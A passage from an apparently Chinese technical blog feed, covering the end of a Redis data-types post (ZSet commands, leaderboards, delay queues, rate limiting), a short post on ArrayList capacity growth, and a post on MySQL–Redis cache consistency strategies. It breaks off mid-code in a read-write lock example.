添加元素</span></span><br><span class="line">ZREM zset member               <span class="comment"># 删除元素</span></span><br><span class="line">ZSCORE zset member             <span class="comment"># 获取分数</span></span><br><span class="line">ZRANGE zset 0 -1               <span class="comment"># 按分数升序获取</span></span><br><span class="line">ZREVRANGE zset 0 -1            <span class="comment"># 按分数降序获取</span></span><br><span class="line">ZRANGEBYSCORE zset 0 100       <span class="comment"># 按分数范围获取</span></span><br><span class="line">ZCARD zset                     <span class="comment"># 元素数量</span></span><br><span class="line">ZCOUNT zset 0 100              <span class="comment"># 分数范围内元素数量</span></span><br><span class="line">ZINCRBY zset 1 member          <span class="comment"># 增加分数</span></span><br><span class="line">ZRANK zset member              <span class="comment"># 获取排名（升序，从0开始）</span></span><br><span class="line">ZREVRANK zset member           <span class="comment"># 获取排名（降序）</span></span><br><span class="line">ZREMRANGEBYRANK zset 0 99      <span class="comment"># 删除排名范围内的元素</span></span><br><span class="line">ZREMRANGEBYSCORE zset 0 100    <span class="comment"># 删除分数范围内的元素</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-应用场景"><a href="#5-3-应用场景" class="headerlink" title="5.3 应用场景"></a>5.3 应用场景</h2><p><strong>场景一：排行榜</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 更新用户积分</span></span><br><span class="line">redis.zincrby(<span class="string">&quot;leaderboard:weekly&quot;</span>, <span class="number">10</span>, <span class="string">&quot;user:1001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取前10名</span></span><br><span class="line">Set&lt;Tuple&gt; top10 = redis.zrevrangeWithScores(<span class="string">&quot;leaderboard:weekly&quot;</span>, <span class="number">0</span>, <span class="number">9</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取用户排名</span></span><br><span class="line"><span class="type">Long</span> <span class="variable">rank</span> <span class="operator">=</span> redis.zrevrank(<span class="string">&quot;leaderboard:weekly&quot;</span>, <span class="string">&quot;user:1001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取用户分数</span></span><br><span class="line"><span class="type">Double</span> <span class="variable">score</span> <span class="operator">=</span> redis.zscore(<span class="string">&quot;leaderboard:weekly&quot;</span>, <span class="string">&quot;user:1001&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>场景二：延时队列</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加延时任务（score为执行时间戳）</span></span><br><span class="line">redis.zadd(<span class="string">&quot;delay:queue&quot;</span>, System.currentTimeMillis() + <span class="number">60000</span>, taskJson);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 消费到期任务</span></span><br><span class="line"><span class="keyword">while</span> (running) &#123;</span><br><span class="line">    Set&lt;String&gt; tasks = redis.zrangeByScore(<span class="string">&quot;delay:queue&quot;</span>, </span><br><span class="line">        <span class="number">0</span>, System.currentTimeMillis(), <span class="number">0</span>, <span class="number">10</span>);</span><br><span class="line">    <span class="keyword">for</span> (String task : tasks) &#123;</span><br><span class="line">        <span class="comment">// 删除并处理（保证不被其他消费者处理）</span></span><br><span class="line">        <span class="type">Long</span> <span class="variable">removed</span> <span class="operator">=</span> redis.zrem(<span class="string">&quot;delay:queue&quot;</span>, task);</span><br><span class="line">        <span class="keyword">if</span> (removed &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            processTask(task);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    Thread.sleep(<span class="number">1000</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>场景三：滑动窗口限流</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">rateLimit</span><span class="params">(String userId, <span class="type">int</span> maxRequests, <span class="type">int</span> windowSeconds)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;rate_limit:&quot;</span> + userId;</span><br><span class="line">    <span class="type">long</span> <span class="variable">now</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">    <span class="type">long</span> <span class="variable">windowStart</span> <span class="operator">=</span> now - windowSeconds * <span class="number">1000</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 移除窗口外的请求记录</span></span><br><span class="line">    redis.zremrangeByScore(key, <span class="number">0</span>, windowStart);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取当前窗口内的请求数</span></span><br><span class="line">    <span class="type">Long</span> <span class="variable">count</span> <span class="operator">=</span> redis.zcard(key);</span><br><span class="line">    <span class="keyword">if</span> (count &gt;= maxRequests) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;  <span class="comment">// 限流</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 记录本次请求</span></span><br><span class="line">    redis.zadd(key, now, String.valueOf(now));</span><br><span class="line">    redis.expire(key, windowSeconds);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>场景四：热门文章/商品</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 记录文章点击量（按时间衰减）</span></span><br><span class="line"><span class="type">double</span> <span class="variable">score</span> <span class="operator">=</span> System.currentTimeMillis() / <span class="number">1000.0</span>;</span><br><span class="line">redis.zadd(<span class="string">&quot;articles:hot&quot;</span>, score, <span class="string">&quot;article:10001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 只保留最近1000篇</span></span><br><span class="line">redis.zremrangeByRank(<span class="string">&quot;articles:hot&quot;</span>, <span class="number">0</span>, -<span class="number">1001</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取热门文章</span></span><br><span class="line">Set&lt;String&gt; hotArticles = redis.zrevrange(<span class="string">&quot;articles:hot&quot;</span>, <span class="number">0</span>, <span class="number">9</span>);</span><br></pre></td></tr></table></figure><h2 id="六、数据类型选择指南"><a href="#六、数据类型选择指南" class="headerlink" title="六、数据类型选择指南"></a>六、数据类型选择指南</h2><table><thead><tr><th>需求</th><th>推荐类型</th><th>原因</th></tr></thead><tbody><tr><td>简单键值缓存</td><td>String</td><td>最简单</td></tr><tr><td>存储对象</td><td>Hash</td><td>字段级操作，节省空间</td></tr><tr><td>队列/栈</td><td>List</td><td>双向链表，天然支持</td></tr><tr><td>去重/集合运算</td><td>Set</td><td>无序不重复</td></tr><tr><td>排序/排名</td><td>ZSet</td><td>按分数排序</td></tr><tr><td>计数器</td><td>String</td><td>INCR原子操作</td></tr><tr><td>分布式锁</td><td>String</td><td>SET NX EX</td></tr><tr><td>最新消息</td><td>List</td><td>LPUSH + LTRIM</td></tr><tr><td>共同关注</td><td>Set</td><td>SINTER</td></tr><tr><td>排行榜</td><td>ZSet</td><td>自动排序</td></tr></tbody></table><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><p>Redis五种数据类型各有特点：</p><table><thead><tr><th>类型</th><th>底层结构</th><th>特点</th><th>典型应用</th></tr></thead><tbody><tr><td>String</td><td>SDS</td><td>简单高效</td><td>缓存、计数器、锁</td></tr><tr><td>Hash</td><td>ziplist/hashtable</td><td>字段级操作</td><td>对象存储、购物车</td></tr><tr><td>List</td><td>quicklist</td><td>双向链表</td><td>队列、时间线</td></tr><tr><td>Set</td><td>intset/hashtable</td><td>无序不重复</td><td>标签、共同好友</td></tr><tr><td>ZSet</td><td>ziplist/skiplist</td><td>有序集合</td><td>排行榜、延时队列</td></tr></tbody></table><p>理解每种数据类型的特性和适用场景，才能在实际开发中做出正确的选择，发挥Redis的最大价值。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ArrayList 扩容机制和使用建议</title>
      <link href="//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/"/>
      <url>//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/</url>
      
        <content type="html"><![CDATA[<h1 id="ArrayList-扩容机制和使用建议"><a href="#ArrayList-扩容机制和使用建议" class="headerlink" title="ArrayList 扩容机制和使用建议"></a>ArrayList 扩容机制和使用建议</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL与Redis缓存一致性</title>
      <link href="//mysql-redis-cache-consistency/"/>
      <url>//mysql-redis-cache-consistency/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL与Redis缓存一致性"><a href="#MySQL与Redis缓存一致性" class="headerlink" title="MySQL与Redis缓存一致性"></a>MySQL与Redis缓存一致性</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、为什么缓存会不一致"><a href="#一、为什么缓存会不一致" class="headerlink" title="一、为什么缓存会不一致"></a>一、为什么缓存会不一致</h2><p>#</p><h2 id="1-1-不一致的场景"><a href="#1-1-不一致的场景" class="headerlink" title="1.1 不一致的场景"></a>1.1 不一致的场景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">场景一：并发读写</span><br><span class="line">T1: 读取缓存（miss）→ 读取数据库 → 写入缓存</span><br><span class="line">                    （此时T2修改数据库并删除缓存）</span><br><span class="line">T1: 写入缓存（写入的是旧数据）</span><br><span class="line"></span><br><span class="line">场景二：读写并发</span><br><span class="line">T1: 读取缓存（miss）→ 读取数据库（旧数据）</span><br><span class="line">T2: 更新数据库 → 删除缓存</span><br><span class="line">T1: 写入缓存（旧数据）</span><br><span class="line"></span><br><span class="line">场景三：主从延迟</span><br><span class="line">T1: 更新主库 → 删除缓存</span><br><span class="line">T2: 读取缓存（miss）→ 读取从库（可能还是旧数据）→ 写入缓存</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-不一致的根本原因"><a href="#1-2-不一致的根本原因" class="headerlink" title="1.2 不一致的根本原因"></a>1.2 不一致的根本原因</h2><ul><li>MySQL和Redis是两个独立的存储系统</li><li>没有原生的事务机制保证两者同时更新</li><li>网络延迟、并发操作导致时序问题</li></ul><h2 id="二、缓存更新策略"><a href="#二、缓存更新策略" class="headerlink" title="二、缓存更新策略"></a>二、缓存更新策略</h2><p>#</p><h2 id="2-1-Cache-Aside（旁路缓存）"><a href="#2-1-Cache-Aside（旁路缓存）" class="headerlink" title="2.1 Cache Aside（旁路缓存）"></a>2.1 Cache Aside（旁路缓存）</h2><p>最常用的策略，应用负责维护缓存：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">读流程：</span><br><span class="line">  读缓存 ──hit──&gt; 返回数据</span><br><span class="line">    │ miss</span><br><span class="line">    ▼</span><br><span class="line">  读数据库</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">  写缓存</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">  返回数据</span><br><span class="line"></span><br><span class="line">写流程：</span><br><span class="line">  更新数据库</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">  删除缓存（不是更新缓存）</span><br></pre></td></tr></table></figure><p><strong>为什么写操作是删缓存而不是更新缓存？</strong></p><ol><li><p><strong>避免并发写覆盖</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">T1: 更新缓存为A=1</span><br><span class="line">T2: 更新缓存为A=2</span><br><span class="line">T1: 更新数据库为A=1（数据库和缓存不一致）</span><br></pre></td></tr></table></figure></li><li><p><strong>懒加载</strong>：删除后下次读取时才加载，避免写入未使用的缓存</p></li></ol><p>#</p><h2 id="2-2-Read-Through-Write-Through"><a href="#2-2-Read-Through-Write-Through" class="headerlink" title="2.2 Read Through / Write Through"></a>2.2 Read Through / Write Through</h2><p>应用只和缓存交互，缓存层负责和数据库交互：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">读流程：</span><br><span class="line">  应用 → 缓存 ──hit──&gt; 返回</span><br><span class="line">            miss ──&gt; 缓存自动从数据库加载</span><br><span class="line"></span><br><span class="line">写流程：</span><br><span class="line">  应用 → 缓存更新 ──&gt; 缓存同步更新数据库</span><br></pre></td></tr></table></figure><p><strong>实现</strong>：需要Cache Library支持（如Caffeine的CacheLoader）。</p><p>#</p><h2 id="2-3-Write-Behind（异步写）"><a href="#2-3-Write-Behind（异步写）" class="headerlink" title="2.3 Write Behind（异步写）"></a>2.3 Write Behind（异步写）</h2><p>先写缓存，异步批量写数据库：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">应用 → 更新缓存 ──&gt; 立即返回</span><br><span class="line">            └──&gt; 异步队列 ──&gt; 批量写入数据库</span><br></pre></td></tr></table></figure><p><strong>适用</strong>：写性能要求极高，可容忍短暂不一致（如计数器）。</p><p>#</p><h2 id="2-4-策略对比"><a href="#2-4-策略对比" class="headerlink" title="2.4 策略对比"></a>2.4 策略对比</h2><table><thead><tr><th>策略</th><th>一致性</th><th>复杂度</th><th>性能</th><th>适用场景</th></tr></thead><tbody><tr><td>Cache Aside</td><td>最终一致</td><td>低</td><td>高</td><td>大多数场景</td></tr><tr><td>Read/Write Through</td><td>强一致</td><td>中</td><td>中</td><td>需要统一缓存层</td></tr><tr><td>Write Behind</td><td>弱一致</td><td>高</td><td>最高</td><td>高吞吐写入</td></tr></tbody></table><h2 id="三、Cache-Aside一致性方案"><a href="#三、Cache-Aside一致性方案" class="headerlink" title="三、Cache Aside一致性方案"></a>三、Cache Aside一致性方案</h2><p>#</p><h2 id="3-1-先更新数据库，再删除缓存"><a href="#3-1-先更新数据库，再删除缓存" class="headerlink" title="3.1 先更新数据库，再删除缓存"></a>3.1 先更新数据库，再删除缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateData</span><span class="params">(Data data)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 更新数据库</span></span><br><span class="line">    db.update(data);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 删除缓存</span></span><br><span class="line">    redis.del(<span class="string">&quot;data:&quot;</span> + data.getId());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> Data <span class="title function_">getData</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 读缓存</span></span><br><span class="line">    <span class="type">Data</span> <span class="variable">data</span> <span class="operator">=</span> redis.get(<span class="string">&quot;data:&quot;</span> + id);</span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> data;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 读数据库</span></span><br><span class="line">    data = db.queryById(id);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 3. 写缓存</span></span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        redis.set(<span class="string">&quot;data:&quot;</span> + id, data, <span class="number">3600</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> data;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：极端情况下仍可能不一致（条件苛刻）</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">T1: 读取缓存（miss）</span><br><span class="line">T1: 读取数据库（旧值）</span><br><span class="line">T2: 更新数据库（新值）</span><br><span class="line">T2: 删除缓存</span><br><span class="line">T1: 写入缓存（旧值）</span><br></pre></td></tr></table></figure><p>发生条件：</p><ul><li>缓存恰好失效</li><li>读请求在写请求更新数据库之后、删除缓存之前完成数据库读取</li><li>写请求删除缓存后，读请求才写入缓存</li></ul><p>这个条件要求读操作非常慢，实际发生概率很低。</p><p>#</p><h2 id="3-2-先删除缓存，再更新数据库"><a href="#3-2-先删除缓存，再更新数据库" class="headerlink" title="3.2 先删除缓存，再更新数据库"></a>3.2 先删除缓存，再更新数据库</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateData</span><span class="params">(Data data)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 删除缓存</span></span><br><span class="line">    redis.del(<span class="string">&quot;data:&quot;</span> + data.getId());</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 更新数据库</span></span><br><span class="line">    db.update(data);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：更大的一致性问题</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">T1: 删除缓存</span><br><span class="line">T2: 读取缓存（miss）→ 读取数据库（旧值）→ 写入缓存（旧值）</span><br><span class="line">T1: 更新数据库（新值）</span><br></pre></td></tr></table></figure><p>这个场景发生的概率更高，<strong>不推荐</strong>。</p><p>#</p><h2 id="3-3-延迟双删"><a href="#3-3-延迟双删" class="headerlink" title="3.3 延迟双删"></a>3.3 延迟双删</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateData</span><span class="params">(Data data)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 删除缓存</span></span><br><span class="line">    redis.del(<span class="string">&quot;data:&quot;</span> + data.getId());</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 更新数据库</span></span><br><span class="line">    db.update(data);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 3. 延迟再次删除缓存（异步）</span></span><br><span class="line">    asyncExecutor.execute(() -&gt; &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Thread.sleep(<span class="number">500</span>);  <span class="comment">// 延迟500ms</span></span><br><span class="line">            redis.del(<span class="string">&quot;data:&quot;</span> + data.getId());</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>原理</strong>：</p><ul><li>第一次删除：清除旧缓存</li><li>更新数据库</li><li>延迟删除：清除并发读操作可能写入的旧缓存</li></ul><p><strong>延迟时间确定</strong>：</p><ul><li>主从复制延迟 + 读操作耗时</li><li>通常200ms-1000ms</li></ul><p>#</p><h2 id="3-4-删除缓存失败处理"><a href="#3-4-删除缓存失败处理" class="headerlink" title="3.4 删除缓存失败处理"></a>3.4 删除缓存失败处理</h2><p><strong>问题</strong>：更新数据库成功，但删除缓存失败</p><p><strong>方案一：重试机制</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">deleteCacheWithRetry</span><span class="params">(String key)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">retry</span> <span class="operator">=</span> <span class="number">3</span>;</span><br><span class="line">    <span class="keyword">while</span> (retry-- &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            redis.del(key);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">if</span> (retry == <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="comment">// 记录日志，人工处理或加入延迟队列</span></span><br><span class="line">                log.error(<span class="string">&quot;删除缓存失败: &#123;&#125;&quot;</span>, key);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                Thread.sleep(<span class="number">100</span>);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (InterruptedException ie) &#123;</span><br><span class="line">                Thread.currentThread().interrupt();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>方案二：消息队列保证</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateData</span><span class="params">(Data data)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 更新数据库</span></span><br><span class="line">    db.update(data);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 发送删除缓存消息到MQ</span></span><br><span class="line">    mq.send(<span class="keyword">new</span> <span class="title class_">CacheDeleteMessage</span>(<span class="string">&quot;data:&quot;</span> + data.getId()));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// MQ消费者</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheDeleteConsumer</span> &#123;</span><br><span class="line">    <span class="meta">@RabbitListener(queues = &quot;cache.delete&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onMessage</span><span class="params">(CacheDeleteMessage msg)</span> &#123;</span><br><span class="line">        <span class="comment">// 删除缓存，失败则重试/NACK</span></span><br><span class="line">        redis.del(msg.getKey());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>方案三：Binlog监听（Canal）</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">MySQL ──&gt; Binlog ──&gt; Canal Server ──&gt; MQ/直接删除Redis</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Canal客户端监听binlog变更</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CanalClient</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">start</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">CanalConnector</span> <span class="variable">connector</span> <span class="operator">=</span> CanalConnectors.newSingleConnector(</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">InetSocketAddress</span>(<span class="string">&quot;canal-server&quot;</span>, <span class="number">11111</span>), <span class="string">&quot;example&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        connector.connect();</span><br><span class="line">        connector.subscribe(<span class="string">&quot;mydb\\..*&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">while</span> (running) &#123;</span><br><span class="line">            <span class="type">Message</span> <span class="variable">message</span> <span class="operator">=</span> connector.getWithoutAck(<span class="number">100</span>);</span><br><span class="line">            <span class="keyword">for</span> (Entry entry : message.getEntries()) &#123;</span><br><span class="line">                <span class="keyword">if</span> (entry.getEntryType() == EntryType.ROWDATA) &#123;</span><br><span class="line">                    handleRowChange(entry);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            connector.ack(message.getId());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">handleRowChange</span><span class="params">(Entry entry)</span> &#123;</span><br><span class="line">        <span class="type">RowChange</span> <span class="variable">rowChange</span> <span class="operator">=</span> RowChange.parseFrom(entry.getStoreValue());</span><br><span class="line">        <span class="keyword">for</span> (RowData rowData : rowChange.getRowDatasList()) &#123;</span><br><span class="line">            <span class="keyword">if</span> (rowChange.getEventType() == EventType.UPDATE ||</span><br><span class="line">                rowChange.getEventType() == EventType.DELETE) &#123;</span><br><span class="line">                <span class="comment">// 删除对应的Redis缓存</span></span><br><span class="line">                <span class="type">String</span> <span class="variable">tableName</span> <span class="operator">=</span> entry.getHeader().getTableName();</span><br><span class="line">                <span class="type">Long</span> <span class="variable">id</span> <span class="operator">=</span> getIdFromRow(rowData.getBeforeColumnsList());</span><br><span class="line">                redis.del(tableName + <span class="string">&quot;:&quot;</span> + id);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Canal方案优势</strong>：</p><ul><li>业务代码无侵入</li><li>最终一致性保证</li><li>天然支持数据库变更监听</li></ul><h2 id="四、强一致性方案"><a href="#四、强一致性方案" class="headerlink" title="四、强一致性方案"></a>四、强一致性方案</h2><p>#</p><h2 id="4-1-分布式锁"><a href="#4-1-分布式锁" class="headerlink" title="4.1 分布式锁"></a>4.1 分布式锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Data <span class="title function_">getData</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">lockKey</span> <span class="operator">=</span> <span class="string">&quot;lock:data:&quot;</span> + id;</span><br><span class="line">    <span class="type">String</span> <span class="variable">cacheKey</span> <span class="operator">=</span> <span class="string">&quot;data:&quot;</span> + id;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 1. 读缓存</span></span><br><span class="line">    <span class="type">Data</span> <span class="variable">data</span> <span class="operator">=</span> redis.get(cacheKey);</span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> data;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 获取分布式锁</span></span><br><span class="line">    <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(lockKey);</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        lock.lock(<span class="number">10</span>, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 双重检查</span></span><br><span class="line">        data = redis.get(cacheKey);</span><br><span class="line">        <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> data;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 读数据库并写入缓存</span></span><br><span class="line">        data = db.queryById(id);</span><br><span class="line">        <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">            redis.set(cacheKey, data, <span class="number">3600</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        lock.unlock();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> data;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-读写锁"><a href="#4-2-读写锁" class="headerlink" title="4.2 读写锁"></a>4.2 读写锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">ReadWriteLock</span> <span class="variable">rwLock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantReadWriteLock</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Data <span class="title function_">read</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        rwLock.readLock().lock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span 